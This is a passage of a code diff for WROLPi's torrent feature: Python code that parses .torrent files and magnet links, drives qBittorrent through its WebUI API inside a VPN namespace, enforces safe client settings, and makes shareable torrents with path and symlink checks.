return dict(zip(items[::2], items[1::2])), i + 1
if c.isdigit():
colon = data.index(b':', i)
length = int(data[i:colon])
return data[colon + 1:colon + 1 + length], colon + 1 + length
raise ValueError(f'Not bencoded data at {i}')
return decode(start)
def torrent_identity(torrent: bytes) -> tuple[str, str]:
"""(hash, name) of a .torrent file, the hash as qBittorrent names it (see `torrent_id`)."""
v1, v2, name = torrent_info_hashes(torrent)
return torrent_id(v1, v2), name
def torrent_id(v1: Optional[str], v2: Optional[str]) -> str:
"""qBittorrent names a torrent by libtorrent's "best" info hash: the v2 (SHA-256) hash truncated to 40 characters
when it has one (a v2 or hybrid torrent), otherwise the v1 (SHA-1) hash."""
return v2[:40] if v2 else v1
def torrent_magnet(torrent: bytes) -> str:
"""A magnet link for a .torrent file, with both info hashes of a hybrid torrent."""
v1, v2, name = torrent_info_hashes(torrent)
return magnet_link(v1, v2, name)
def torrent_info_hashes(torrent: bytes) -> tuple[Optional[str], Optional[str], str]:
"""(v1 SHA-1 info hash or None, v2 SHA-256 info hash or None, name) of a .torrent file."""
if len(torrent) > MAX_TORRENT_FILE_BYTES:
raise ValidationError('That file is too large to be a .torrent file')
try:
if torrent[:1] != b'd':
raise ValueError('Not a dictionary')
# Walk the top-level dictionary to find the info dictionary exactly as it is written; that is what is hashed.
info = raw_info = None
i = 1
while torrent[i:i + 1] != b'e':
key, i = bdecode(torrent, i)
value_start = i
value, i = bdecode(torrent, i)
if key == b'info':
info, raw_info = value, torrent[value_start:i]
if not isinstance(info, dict):
raise ValueError('No info dictionary')
except (ValueError, KeyError, TypeError, IndexError) as e:
raise ValidationError('That is not a .torrent file') from e
# v1 torrents have `pieces`; v2 torrents have `meta version` 2 (a hybrid torrent has both).
v1 = hashlib.sha1(raw_info).hexdigest() if b'pieces' in info else None
v2 = hashlib.sha256(raw_info).hexdigest() if info.get(b'meta version') == 2 else None
if not v1 and not v2:
raise ValidationError('That is not a .torrent file')
name = info.get(b'name.utf-8') or info.get(b'name') or torrent_id(v1, v2).encode()
return v1, v2, name.decode('utf-8', errors='replace')
def magnet_identity(magnet: str) -> tuple[str, str]:
"""(hash, name) of a magnet link, the hash as qBittorrent names it (see `torrent_id`)."""
query = urllib.parse.parse_qs(urllib.parse.urlparse(magnet).query)
v1 = v2 = None
for xt in query.get('xt', []):
lower = xt.lower()
if lower.startswith('urn:btih:'):
value = xt[len('urn:btih:'):]
if len(value) == 32:
# Base32, as some magnet links write it.
value = base64.b32decode(value.upper()).hex()
if HASH_RE.match(value.lower()):
v1 = value.lower()
elif lower.startswith('urn:btmh:1220') and re.fullmatch(r'[0-9a-f]{64}', lower[len('urn:btmh:1220'):]):
# A v2 info hash: a SHA-256 multihash.
v2 = lower[len('urn:btmh:1220'):]
if not v1 and not v2:
raise ValidationError('That magnet link has no BitTorrent info hash (xt=urn:btih:... or xt=urn:btmh:...)')
hash_ = torrent_id(v1, v2)
return hash_, (query.get('dn') or [hash_])[0]
def magnet_link(v1: Optional[str], v2: Optional[str], name: str) -> str:
xts = ([f'xt=urn:btih:{v1}'] if v1 else []) + ([f'xt=urn:btmh:1220{v2}'] if v2 else [])
return f'magnet:?{"&".join(xts)}&dn={urllib.parse.quote(name)}'
def check_save_path(save_path: str) -> str:
"""A save path relative to the media directory, which must stay in it (torrents are only saved in the library)."""
save_path = save_path or DEFAULT_SAVE_PATH
media_directory = get_media_directory()
path = pathlib.Path(save_path)
absolute = (path if path.is_absolute() else media_directory / path).resolve()
if absolute != media_directory and media_directory not in absolute.parents:
raise ValidationError('Torrents can only be saved in the media directory')
if absolute == media_directory / 'config' or media_directory / 'config' in absolute.parents:
raise ValidationError("Torrents cannot be saved in WROLPi's config directory")
return str(absolute.relative_to(media_directory)) or '.'
async def add_torrent(save_path: str = None, torrent: bytes = None, magnet: str = None,
client: QBittorrent = None, skip_checking: bool = False) -> dict:
"""Add a torrent from a .torrent file's bytes, or a magnet link: to the config (the source of truth), then to
qBittorrent. Returns its config."""
client = client or QBittorrent()
config = get_torrents_config()
save_path = check_save_path(save_path)
if torrent:
hash_, name = torrent_identity(torrent)
magnet = torrent_magnet(torrent)
elif magnet:
hash_, name = magnet_identity(magnet)
else:
raise ValidationError('A .torrent file or a magnet link is required')
if config.get(hash_) is None:
config.create(hash_, dict(slug=hash_, name=name, save_path=save_path, magnet=magnet))
if torrent:
config.get_torrent_file(hash_).write_bytes(torrent)
if hash_ not in {t['hash'] for t in await client.torrents()}:
await add_from_config(client, config.get(hash_), stopped=wrol_mode_enabled(), skip_checking=skip_checking)
return config.get(hash_)
async def remove_torrent(hash_: str, delete_files: bool = False, client: QBittorrent = None):
client = client or QBittorrent()
await client.delete([hash_], delete_files=delete_files)
get_torrents_config().delete(hash_)
async def set_paused(hash_: str, paused: bool, client: QBittorrent = None):
client = client or QBittorrent()
config = get_torrents_config()
if config.get(hash_) is None:
raise ValidationError('Unknown torrent')
config.update(hash_, paused=paused)
if paused:
await client.stop([hash_])
elif not wrol_mode_enabled():
await client.start([hash_])
def set_share_limits(hash_: str, seed_ratio_limit: float = None, seed_time_limit: int = None):
"""None is no limit. The torrents worker applies them."""
if seed_ratio_limit is not None and seed_ratio_limit < 0:
raise ValidationError('The ratio limit cannot be negative')
if seed_time_limit is not None and seed_time_limit < 0:
raise ValidationError('The seeding time limit cannot be negative')
config = get_torrents_config()
if config.get(hash_) is None:
raise ValidationError('Unknown torrent')
config.update(hash_, seed_ratio_limit=seed_ratio_limit, seed_time_limit=seed_time_limit)
async def get_vpn_status() -> dict:
"""The Controller's report of the VPN torrents use; {} when the Controller cannot be reached."""
try:
async with aiohttp.ClientSession(timeout=aiohttp.ClientTimeout(total=5)) as session:
async with session.get(f'{CONTROLLER_URL}/api/vpn/status') as response:
return await response.json() if response.status == 200 else {}
except (aiohttp.ClientError, TimeoutError, ValueError):
return {}
def desired_preferences(vpn_status: dict) -> dict:
preferences = {
# Torrents use only the tunnel. (The kill switch already blocks everything else.)
'current_network_interface': TUNNEL_INTERFACE,
'current_interface_address': '',
# The router UPnP or NAT-PMP would ask is the VPN's; the tunnel asks for the port itself.
'upnp': False,
# Nothing to discover on the tunnel's "local" network.
'lsd': False,
# A file still downloading is never mistaken for a finished one.
'incomplete_files_ext': True,
'save_path': str(get_media_directory() / DEFAULT_SAVE_PATH),
'random_port': False,
# Peers are not told which client (and version) this is, so a known flaw in one cannot be aimed at it.
'anonymous_mode': True,
# Running a program would be code execution for anyone who can reach the WebUI.
'autorun_enabled': False,
'autorun_on_torrent_added_enabled': False,
}
wrolpi_config = get_wrolpi_config()
# qBittorrent's limits are bytes per second; 0 is unlimited.
preferences['up_limit'] = (wrolpi_config.torrent_upload_limit or 0) * 1024
preferences['dl_limit'] = (wrolpi_config.torrent_download_limit or 0) * 1024
if port := vpn_status.get('forwarded_port'):
# Peers connect to the port the VPN forwards.
preferences['listen_port'] = port
return preferences
async def enforce_preferences(client: QBittorrent, vpn_status: dict) -> dict:
"""Set the preferences which differ from what WROLPi needs; returns those changed."""
current = await client.preferences()
changed = {k: v for k, v in desired_preferences(vpn_status).items() if current.get(k) != v}
if changed:
logger.info(f'Setting qBittorrent preferences: {changed}')
await client.set_preferences(changed)
return changed
async def add_from_config(client: QBittorrent, entity: dict, stopped: bool, skip_checking: bool = False):
config = get_torrents_config()
torrent_file = config.get_torrent_file(entity['slug'])
torrent = torrent_file.read_bytes() if torrent_file.is_file() else None
if not torrent and not entity.get('magnet'):
logger.error(f'Cannot add torrent {entity["name"]}: it has no .torrent file and no magnet link')
return
pathlib.Path(save_path_of(entity)).mkdir(parents=True, exist_ok=True)
tags = [TAG, WROL_MODE_TAG] if stopped and not entity.get('paused') else [TAG]
await client.add(save_path_of(entity), torrent=torrent, url=None if torrent else entity['magnet'], tags=tags,
stopped=stopped, skip_checking=skip_checking)
logger.info(f'Added torrent {entity["name"]} to qBittorrent')
async def adopt(client: QBittorrent, torrent: dict) -> bool:
"""Add a torrent added in qBittorrent's WebUI to the config, once its metadata has arrived."""
exported = await client.export(torrent['hash'])
if not exported:
return False
config = get_torrents_config()
slug = torrent['hash']
config.get_torrent_file(slug).parent.mkdir(parents=True, exist_ok=True)
config.get_torrent_file(slug).write_bytes(exported)
if config.get(slug) is None:
# (WROLPi may have recorded it already, e.g. while it was still adding the torrent.)
config.create(slug, dict(slug=slug, name=torrent['name'], save_path=config_save_path(torrent['save_path']),
paused=torrent['state'] in STOPPED_STATES, magnet=torrent.get('magnet_uri')))
await client.add_tags([slug], TAG)
logger.info(f'Adopted torrent {torrent["name"]} added in qBittorrent')
return True
# How long a torrent may be in the config, but not yet in qBittorrent, before it is added from the config (another
# process may be adding it).
ADD_GRACE_SECONDS = 30
@dataclass
class ReconcileState:
"""What reconcile has seen, across its passes. A torrent is forgotten (removed in the WebUI) only once it has been
seen in qBittorrent; one never seen is being added, or must be added."""
seen: set = field(default_factory=set)
missing_since: dict = field(default_factory=dict)
RECONCILE_STATE = ReconcileState()
async def reconcile(client: QBittorrent, wrol_mode: bool, state: ReconcileState = None) -> dict:
"""Make qBittorrent and the config agree; returns what was done (for tests and logs)."""
state = state or ReconcileState()
config = get_torrents_config()
done = dict(added=[], adopted=[], forgotten=[], removed=[], stopped=[], started=[], completed=[])
torrents = {t['hash']: t for t in await client.torrents()}
entities = {e['slug']: e for e in config.all()}
if TAG not in await client.tags():
# A new qBittorrent profile: add every torrent the config has.
await client.create_tags(TAG, WROL_MODE_TAG)
for slug, entity in entities.items():
if slug not in torrents:
await add_from_config(client, entity, stopped=wrol_mode or bool(entity.get('paused')))
done['added'].append(slug)
return done
for slug, torrent in torrents.items():
tags = {t.strip() for t in (torrent.get('tags') or '').split(',') if t.strip()}
if TAG not in tags:
if await adopt(client, torrent):
done['adopted'].append(slug)
continue
entity = entities.get(slug)
if entity is None:
# Removed from the config: removed from qBittorrent, its files kept.
await client.delete([slug], delete_files=False)
done['removed'].append(slug)
state.seen.discard(slug)
continue
state.seen.add(slug)
stopped = torrent['state'] in STOPPED_STATES
if wrol_mode:
if not stopped:
await client.add_tags([slug], WROL_MODE_TAG)
await client.stop([slug])
done['stopped'].append(slug)
elif WROL_MODE_TAG in tags:
# Stopped by WROL Mode, which has ended.
await client.remove_tags([slug], WROL_MODE_TAG)
if not entity.get('paused'):
await client.start([slug])
done['started'].append(slug)
elif stopped != bool(entity.get('paused')):
# Stopped or started in the WebUI: that is what the user wants now.
config.update(slug, paused=stopped)
ratio_limit = -1 if entity.get('seed_ratio_limit') is None else entity['seed_ratio_limit']
time_limit = -1 if entity.get('seed_time_limit') is None else entity['seed_time_limit']
if torrent.get('ratio_limit') != ratio_limit or torrent.get('seeding_time_limit') != time_limit:
await client.set_share_limits([slug], ratio_limit, time_limit)
if not entity.get('complete') and torrent['state'] in COMPLETE_STATES and torrent.get('progress', 0) >= 1:
config.update(slug, complete=True)
done['completed'].append(slug)
index_downloaded(torrent)
if not config.get_torrent_file(slug).is_file() and (exported := await client.export(slug)):
config.get_torrent_file(slug).write_bytes(exported)
now = time.monotonic()
missing = entities.keys() - torrents.keys()
state.missing_since = {slug: since for slug, since in state.missing_since.items() if slug in missing}
for slug in missing:
if slug in state.seen:
# Removed in the WebUI.
config.delete(slug)
state.seen.discard(slug)
done['forgotten'].append(slug)
elif now - state.missing_since.setdefault(slug, now) >= ADD_GRACE_SECONDS:
# Never shown by qBittorrent: its add failed, or the config was restored.
entity = entities[slug]
await add_from_config(client, entity, stopped=wrol_mode or bool(entity.get('paused')))
del state.missing_since[slug]
done['added'].append(slug)
return done
def index_downloaded(torrent: dict):
"""Index a finished torrent's files, as any other download's."""
from wrolpi.files.worker import file_worker
content_path = pathlib.Path(torrent.get('content_path') or torrent['save_path'])
try:
content_path.relative_to(get_media_directory())
except ValueError:
logger.warning(f'Not indexing torrent {torrent["name"]}: it is outside the media directory')
return
file_worker.queue_refresh([content_path], expand_stems=True)
TORRENT_DOWNLOADER = 'torrent'
# qBittorrent's ETA for "never".
ETA_UNKNOWN = 8640000
def format_eta(seconds: int) -> Optional[str]:
if seconds is None or seconds < 0 or seconds >= ETA_UNKNOWN:
return None
hours, rest = divmod(int(seconds), 3600)
minutes, seconds = divmod(rest, 60)
return f'{hours}:{minutes:02}:{seconds:02}' if hours else f'{minutes}:{seconds:02}'
def sync_download_rows(torrents: dict):
"""Show each torrent's progress on its Download (the Downloads page), which finished when it was added: no
download worker waits days for a torrent. It is shown as completed once the torrent is."""
from wrolpi.db import get_db_session
from wrolpi.downloader import Download, set_download_progress, clear_download_progress
from wrolpi.dates import now
with get_db_session(commit=True) as session:
for download in session.query(Download).filter(Download.downloader == TORRENT_DOWNLOADER):
torrent = torrents.get((download.info_json or {}).get('torrent_hash'))
if not torrent:
clear_download_progress(download.id)
elif torrent.get('progress', 0) < 1:
set_download_progress(download.id, dict(
percent=round(torrent.get('progress', 0) * 100, 1),
speed=torrent.get('dlspeed'),
eta=format_eta(torrent.get('eta')),
bytes_downloaded=torrent.get('completed'),
total_bytes=torrent.get('size'),
))
download.last_successful_download = None
else:
clear_download_progress(download.id)
if download.last_successful_download is None:
download.last_successful_download = now()
async def sync_torrents(client: QBittorrent = None) -> Optional[dict]:
"""One pass: qBittorrent's preferences, and the config; None when qBittorrent cannot be reached."""
client = client or QBittorrent()
vpn_status = await get_vpn_status()
try:
await client.version()
except QBittorrentUnavailable:
publish_summary(len(get_torrents_config().slugs), vpn_status.get('state'), running=False)
return None
await enforce_preferences(client, vpn_status)
done = await reconcile(client, wrol_mode_enabled(), RECONCILE_STATE)
torrents = await client.torrents()
await asyncio.to_thread(sync_download_rows, {t['hash']: t for t in torrents})
publish_summary(len(torrents), vpn_status.get('state'), running=True)
return done
def publish_summary(count: int, vpn_state: Optional[str], running: bool):
"""What /api/status tells the navigation: torrents exist, and whether the VPN they need is connected."""
from wrolpi.api_utils import api_app
try:
api_app.shared_ctx.torrents_summary.update(count=count, vpn_state=vpn_state, running=running)
except AttributeError:
# The shared context is not attached (some unit tests).
pass
@perpetual_signal(sleep=SYNC_SECONDS)
async def torrents_worker():
if PYTEST or not flags.media_mounted.is_set() or not get_torrents_config().successful_import:
return
try:
done = await sync_torrents()
except (QBittorrentError, QBittorrentUnavailable, OSError) as e:
logger.warning(f'Could not sync torrents with qBittorrent: {e}')
return
if done and any(done.values()):
logger.info(f'Synced torrents with qBittorrent: { {k: v for k, v in done.items() if v} }')
async def get_torrents_status(client: QBittorrent = None) -> dict:
"""qBittorrent's state, the VPN's, and every torrent, for the API."""
client = client or QBittorrent()
config = get_torrents_config()
vpn_status = await get_vpn_status()
try:
transfer, torrents = await asyncio.gather(client.transfer_info(), client.torrents())
except (QBittorrentUnavailable, QBittorrentError) as e:
return dict(running=False, error=str(e), vpn=vpn_status, torrents=[],
limits=dict(upload=get_wrolpi_config().torrent_upload_limit,
download=get_wrolpi_config().torrent_download_limit),
trackers=get_wrolpi_config().torrent_trackers)
return dict(
running=True,
error=None,
vpn=vpn_status,
# connected (peers can reach this WROLPi), firewalled, or disconnected.
connection_status=transfer.get('connection_status'),
upload_speed=transfer.get('up_info_speed'),
download_speed=transfer.get('dl_info_speed'),
limits=dict(upload=get_wrolpi_config().torrent_upload_limit,
download=get_wrolpi_config().torrent_download_limit),
trackers=get_wrolpi_config().torrent_trackers,
torrents=[torrent_status(t, config.get(t['hash'])) for t in torrents],
)
def torrent_status(torrent: dict, entity: Optional[dict]) -> dict:
entity = entity or {}
return dict(
hash=torrent['hash'],
name=torrent['name'],
size=torrent.get('size'),
progress=torrent.get('progress'),
state=torrent.get('state'),
ratio=torrent.get('ratio'),
uploaded=torrent.get('uploaded'),
upload_speed=torrent.get('upspeed'),
download_speed=torrent.get('dlspeed'),
eta=format_eta(torrent.get('eta')),
peers=torrent.get('num_leechs'),
seeds=torrent.get('num_seeds'),
save_path=config_save_path(torrent.get('save_path') or ''),
# Managed by WROLPi (in config/torrents/); otherwise not yet adopted (e.g. waiting for a magnet's metadata).
managed=bool(entity),
paused=entity.get('paused', torrent.get('state') in STOPPED_STATES),
seed_ratio_limit=entity.get('seed_ratio_limit'),
seed_time_limit=entity.get('seed_time_limit'),
magnet=entity.get('magnet') or torrent.get('magnet_uri'),
)

View file

@ -0,0 +1,138 @@
"""
A small client of qBittorrent's WebUI API (v2, qBittorrent 5).
qBittorrent runs inside the VPN's network namespace. WROLPi reaches its WebUI through the namespace's uplink, from
which it needs no password (see qbittorrent_prepare.py).
"""
import json
from typing import List, Optional
import aiohttp
from wrolpi.vars import DOCKERIZED
WEBUI_PORT = 8091
# Docker: qBittorrent runs in the `vpn` container, beside the tunnel. Raspberry Pi / Debian: the `wrolpi-vpn`
# namespace's end of its veth pair (etc/raspberrypios/wrolpi-vpn-netns.sh).
QBITTORRENT_URL = f'http://vpn:{WEBUI_PORT}' if DOCKERIZED else f'http://10.211.0.2:{WEBUI_PORT}'
TIMEOUT = aiohttp.ClientTimeout(total=10)
class QBittorrentUnavailable(Exception):
"""qBittorrent is not running, or cannot be reached."""
class QBittorrentError(Exception):
"""qBittorrent refused a request."""
class QBittorrent:
def __init__(self, url: str = QBITTORRENT_URL):
self.url = url.rstrip('/')
async def _request(self, method: str, path: str, params: dict = None, data=None) -> bytes:
try:
async with aiohttp.ClientSession(timeout=TIMEOUT) as session:
async with session.request(method, f'{self.url}/api/v2/{path}', params=params, data=data) as response:
body = await response.read()
if response.status >= 400:
raise QBittorrentError(f'qBittorrent refused {path} ({response.status}): {body[:200]!r}')
return body
except (aiohttp.ClientConnectionError, TimeoutError) as e:
raise QBittorrentUnavailable(f'Cannot reach qBittorrent at {self.url}: {e}') from e
async def _get_json(self, path: str, **params):
return json.loads(await self._request('GET', path, params=params or None))
async def version(self) -> str:
return (await self._request('GET', 'app/version')).decode()
async def preferences(self) -> dict:
return await self._get_json('app/preferences')
async def set_preferences(self, preferences: dict):
await self._request('POST', 'app/setPreferences', data={'json': json.dumps(preferences)})
async def transfer_info(self) -> dict:
return await self._get_json('transfer/info')
async def torrents(self) -> List[dict]:
return await self._get_json('torrents/info')
async def tags(self) -> List[str]:
return await self._get_json('torrents/tags')
async def create_tags(self, *tags: str):
await self._request('POST', 'torrents/createTags', data={'tags': ','.join(tags)})
async def add_tags(self, hashes: List[str], *tags: str):
await self._request('POST', 'torrents/addTags', data={'hashes': '|'.join(hashes), 'tags': ','.join(tags)})
async def remove_tags(self, hashes: List[str], *tags: str):
await self._request('POST', 'torrents/removeTags', data={'hashes': '|'.join(hashes), 'tags': ','.join(tags)})
async def add(self, save_path: str, torrent: bytes = None, url: str = None, tags: List[str] = None,
stopped: bool = False, skip_checking: bool = False):
"""Add a torrent from a .torrent file's bytes, or a magnet link / URL."""
form = aiohttp.FormData()
if torrent:
form.add_field('torrents', torrent, filename='file.torrent', content_type='application/x-bittorrent')
elif url:
form.add_field('urls', url)
else:
raise ValueError('A torrent or a URL is required')
form.add_field('savepath', save_path)
form.add_field('stopped', 'true' if stopped else 'false')
if skip_checking:
# Its files were just hashed to make it; do not hash them again.
form.add_field('skip_checking', 'true')
if tags:
form.add_field('tags', ','.join(tags))
body = await self._request('POST', 'torrents/add', data=form)
if body.strip() == b'Fails.':
raise QBittorrentError('qBittorrent could not add the torrent')
async def delete(self, hashes: List[str], delete_files: bool = False):
await self._request('POST', 'torrents/delete',
data={'hashes': '|'.join(hashes), 'deleteFiles': 'true' if delete_files else 'false'})
async def export(self, hash_: str) -> Optional[bytes]:
"""The .torrent file of a torrent, or None while a magnet link's metadata has not arrived."""
try:
return await self._request('GET', 'torrents/export', params={'hash': hash_})
except QBittorrentError:
return None
async def start(self, hashes: List[str]):
await self._request('POST', 'torrents/start', data={'hashes': '|'.join(hashes)})
async def stop(self, hashes: List[str]):
await self._request('POST', 'torrents/stop', data={'hashes': '|'.join(hashes)})
async def set_share_limits(self, hashes: List[str], ratio_limit: float, seeding_time_limit: int):
"""Stop seeding at a ratio / after minutes seeding; -2 is qBittorrent's global setting, -1 is no limit."""
await self._request('POST', 'torrents/setShareLimits', data={
'hashes': '|'.join(hashes), 'ratioLimit': str(ratio_limit), 'seedingTimeLimit': str(seeding_time_limit),
'inactiveSeedingTimeLimit': '-2'})
async def create_torrent(self, source_path: str, trackers: List[str], url_seeds: List[str]) -> str:
"""Start making a hybrid (v1 and v2) torrent of a file or directory; returns the task's ID. qBittorrent does
not add it; WROLPi does."""
body = await self._request('POST', 'torrentcreator/addTask', data={
'sourcePath': source_path, 'format': 'hybrid', 'startSeeding': 'false',
'trackers': '|'.join(trackers), 'urlSeeds': '|'.join(url_seeds)})
return json.loads(body)['taskID']
async def torrent_creator_status(self, task_id: str) -> dict:
"""{'status': 'Queued' | 'Running' | 'Finished' | 'Failed', 'progress': 0-100, 'errorMessage': ...}"""
tasks = await self._get_json('torrentcreator/status', taskID=task_id)
if not tasks:
raise QBittorrentError(f'qBittorrent has no torrent creator task {task_id}')
return tasks[0]
async def torrent_creator_file(self, task_id: str) -> bytes:
return await self._request('GET', 'torrentcreator/torrentFile', params={'taskID': task_id})
async def delete_torrent_creator_task(self, task_id: str):
await self._request('POST', 'torrentcreator/deleteTask', data={'taskID': task_id})

View file

@ -0,0 +1,108 @@
#!/usr/bin/env python3
"""
Prepare qBittorrent's config before it starts, inside the VPN's network namespace.
qBittorrent runs in the namespace the VPN's kill switch guards (controller/vpn/tunnel.py): the `wrolpi-vpn` namespace
on a Raspberry Pi or Debian, or the `vpn` container's on Docker. Its WebUI must be reachable by WROLPi (the API, and
Caddy, which serves it to the LAN on port 8091) through the namespace's uplink, and never through the tunnel. So the
WebUI listens only on the uplink's address, and needs no password from the addresses allowed (`--allow`: the host's
end of the veth pair on a Raspberry Pi, the compose network on Docker). WROLPi has no logins; the LAN reaches the
WebUI only through Caddy, over TLS, and Caddy refuses qBittorrent's settings (they can run programs). Torrents use
only the tunnel's interface from the first moment; WROLPi enforces the rest of the preferences once qBittorrent is
up.
This runs standalone (in the `vpn` container, or before wrolpi-torrent.service), so it imports only the standard
library.
"""
import argparse
import configparser
import ipaddress
import json
import pathlib
import subprocess
WEBUI_PORT = 8091
TUNNEL_INTERFACE = 'vpn0'
def find_uplink() -> tuple[str, str]:
"""The namespace's uplink: (its address, its network). The tunnel never replaces the default route, so the
default route's interface is the uplink."""
routes = json.loads(subprocess.check_output(['ip', '-j', '-4', 'route', 'show', 'default']) or b'[]')
interfaces = [r['dev'] for r in routes if r.get('dev') and r['dev'] != TUNNEL_INTERFACE]
if not interfaces:
raise RuntimeError('The VPN namespace has no uplink; is the VPN service running?')
addresses = json.loads(subprocess.check_output(['ip', '-j', '-4', 'addr', 'show', 'dev', interfaces[0]]) or b'[]')
for entry in addresses:
for address in entry.get('addr_info', []):
if address.get('scope') == 'global':
interface = ipaddress.ip_interface(f"{address['local']}/{address['prefixlen']}")
return str(interface.ip), str(interface.network)
raise RuntimeError(f'The VPN namespace uplink {interfaces[0]} has no address')
def prepare(profile: pathlib.Path, address: str, allowed: list[str]) -> pathlib.Path:
"""Write the WebUI and interface settings into qBittorrent's config, keeping everything else in it."""
path = profile / 'qBittorrent' / 'config' / 'qBittorrent.conf'
# qBittorrent's config is Qt's INI: case-sensitive keys, `\` in key names, no interpolation.
config = configparser.RawConfigParser(strict=False)
config.optionxform = str
if path.is_file():
config.read(path, encoding='utf-8')
settings = {
'Preferences': {
'WebUI\\Enabled': 'true',
'WebUI\\Address': address,
'WebUI\\Port': str(WEBUI_PORT),
'WebUI\\LocalHostAuth': 'false',
'WebUI\\AuthSubnetWhitelistEnabled': 'true',
'WebUI\\AuthSubnetWhitelist': ', '.join(allowed),
# Reached by the LAN through Caddy, so the Host is this WROLPi's LAN address, not the uplink's. Plain HTTP
# on this port is only reachable from the host or the compose network, so no browser visiting another
# site can reach it under that site's name (DNS rebinding); the LAN gets Caddy's TLS.
'WebUI\\HostHeaderValidation': 'false',
},
'BitTorrent': {
'Session\\Interface': TUNNEL_INTERFACE,
'Session\\InterfaceName': TUNNEL_INTERFACE,
},
# Never run a program (WROLPi also forces these off, and Caddy refuses the WebUI's settings).
'AutoRun': {
'enabled': 'false',
'OnTorrentAdded\\Enabled': 'false',
},
'LegalNotice': {
'Accepted': 'true',
},
}
for section, values in settings.items():
if not config.has_section(section):
config.add_section(section)
for key, value in values.items():
config.set(section, key, value)
path.parent.mkdir(parents=True, exist_ok=True)
with open(path, 'w', encoding='utf-8') as f:
config.write(f, space_around_delimiters=False)
return path
def main(argv=None):
parser = argparse.ArgumentParser(description=__doc__.strip().splitlines()[0])
parser.add_argument('--profile', type=pathlib.Path, required=True, help="qBittorrent's --profile directory")
parser.add_argument('--allow', action='append',
help="A network which needs no WebUI password; repeatable. Default: the uplink's network")
parser.add_argument('--uplink', type=ipaddress.ip_interface,
help="The uplink's address and prefix (e.g. 10.211.0.2/30). Default: found with `ip`; a unit "
"whose seccomp filter forbids capset must give it, as `ip` drops capabilities with capset")
args = parser.parse_args(argv)
if args.uplink:
address, network = str(args.uplink.ip), str(args.uplink.network)
else:
address, network = find_uplink()
allowed = [str(ipaddress.ip_network(i)) for i in args.allow] if args.allow else [network]
path = prepare(args.profile, address, allowed)
print(f'qBittorrent WebUI on {address}:{WEBUI_PORT}, without a password from {", ".join(allowed)}; config {path}')
if __name__ == '__main__':
main()

126
modules/torrents/share.py Normal file
View file

@ -0,0 +1,126 @@
"""
"Share as torrent": make a torrent of a file or directory already in the library, and seed it.
qBittorrent hashes the files (a 659 GB file takes an hour or more on a Raspberry Pi), so this runs as a Job, which
shows its progress and can be cancelled. The new torrent is a hybrid (v1 and v2) torrent, with the trackers and web
seeds given; WROLPi adds it to config/torrents/ and qBittorrent without hashing the files again.
"""
import asyncio
import pathlib
import urllib.parse
from typing import List
from modules.torrents import lib
from modules.torrents.qbittorrent import QBittorrent, QBittorrentError
from wrolpi.common import get_media_directory, logger
from wrolpi.errors import ValidationError
from wrolpi.jobs import enqueue_job, get_current_job, register_job
logger = logger.getChild(__name__)
SHARE_JOB = 'share_torrent'
POLL_SECONDS = 2
def publishes_config(path: pathlib.Path, media_directory: pathlib.Path) -> bool:
"""True when a torrent of `path` would include WROLPi's config directory (the VPN's key and login, and more): it
is config/, is inside it, or holds it (the library itself)."""
config_directory = media_directory / 'config'
return path == config_directory or config_directory in path.parents or path in config_directory.parents
def check_share_path(path: str) -> pathlib.Path:
"""The absolute path of a file or directory in the library (not WROLPi's config) to make a torrent of."""
path = (path or '').rstrip('/')
if not path:
raise ValidationError('Choose a file or directory to share')
lib.check_save_path(path)
media_directory = get_media_directory().resolve()
absolute = (media_directory / path).resolve()
if not absolute.exists():
raise ValidationError(f'{path} does not exist')
if publishes_config(absolute, media_directory):
raise ValidationError("A torrent cannot include WROLPi's config directory")
if absolute.is_dir():
files = False
for item in absolute.rglob('*'):
if item.is_symlink():
# A link would publish what it points at. A link to a folder could lead anywhere (and its own links
# are not walked here), so only links to files in the library are allowed.
target = item.resolve()
if target.is_dir():
raise ValidationError(f'{item.relative_to(media_directory)} links to a folder; a torrent cannot '
f'include links to folders')
if publishes_config(target, media_directory) or media_directory not in target.parents:
raise ValidationError(f'{item.relative_to(media_directory)} links outside the library or into '
f"WROLPi's config directory")
files = files or item.is_file()
if not files:
raise ValidationError(f'{path} has no files to share')
return absolute
def check_urls(urls: List[str], schemes: tuple, what: str) -> List[str]:
checked = []
for url in urls or []:
url = url.strip()
if not url:
continue
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in schemes or not parsed.hostname or any(c in url for c in '|\r\n '):
raise ValidationError(f'{url!r} is not a {what} ({" or ".join(schemes)})')
if url not in checked:
checked.append(url)
return checked
def check_trackers(trackers: List[str]) -> List[str]:
return check_urls(trackers, ('udp', 'http', 'https'), 'tracker URL')
def check_web_seeds(web_seeds: List[str]) -> List[str]:
return check_urls(web_seeds, ('http', 'https'), 'web seed URL')
def share(path: str, trackers: List[str], web_seeds: List[str]) -> str:
"""Check the request and start the Job; returns its ID."""
source = check_share_path(path)
trackers, web_seeds = check_trackers(trackers), check_web_seeds(web_seeds)
relative = source.relative_to(get_media_directory())
return enqueue_job(SHARE_JOB, description=f'Make a torrent of {relative}', path=str(relative), trackers=trackers,
web_seeds=web_seeds)
@register_job(SHARE_JOB)
async def share_torrent(path: str, trackers: List[str], web_seeds: List[str], client: QBittorrent = None) -> dict:
job = get_current_job()
client = client or QBittorrent()
source = check_share_path(path)
logger.info(f'Making a torrent of {path}')
task_id = await client.create_torrent(str(source), trackers, web_seeds)
try:
while True:
status = await client.torrent_creator_status(task_id)
if status['status'] == 'Finished':
break
if status['status'] == 'Failed':
raise QBittorrentError(f'qBittorrent could not make the torrent: {status.get("errorMessage")}')
if job:
job.set_progress(status.get('progress'))
if job.cancel_requested():
raise asyncio.CancelledError('The torrent was cancelled while it was being made')
await asyncio.sleep(POLL_SECONDS)
torrent = await client.torrent_creator_file(task_id)
finally:
# A cancelled task stops hashing; a finished one is no longer needed.
try:
await client.delete_torrent_creator_task(task_id)
except QBittorrentError as e:
logger.warning(f'Could not delete the torrent creator task {task_id}: {e}')
# Seed from where the files already are: the torrent is named after them, in their directory.
save_path = str(source.parent.relative_to(get_media_directory())) or '.'
entity = await lib.add_torrent(save_path, torrent=torrent, client=client, skip_checking=True)
lib.get_torrents_config().update(entity['slug'], complete=True)
logger.info(f'Made the torrent {entity["name"]} ({entity["slug"]}), and seeding it')
return dict(hash=entity['slug'], name=entity['name'], magnet=entity['magnet'])

View file

View file

@ -0,0 +1,297 @@
"""Adding torrents (magnet links, .torrent files and URLs), managing them, and their progress on the Downloads page."""
import hashlib
from http import HTTPStatus
from unittest import mock
import pytest
from modules.torrents import lib
from modules.torrents.downloader import TorrentDownloader, PreparedTorrent, ExecutedTorrent
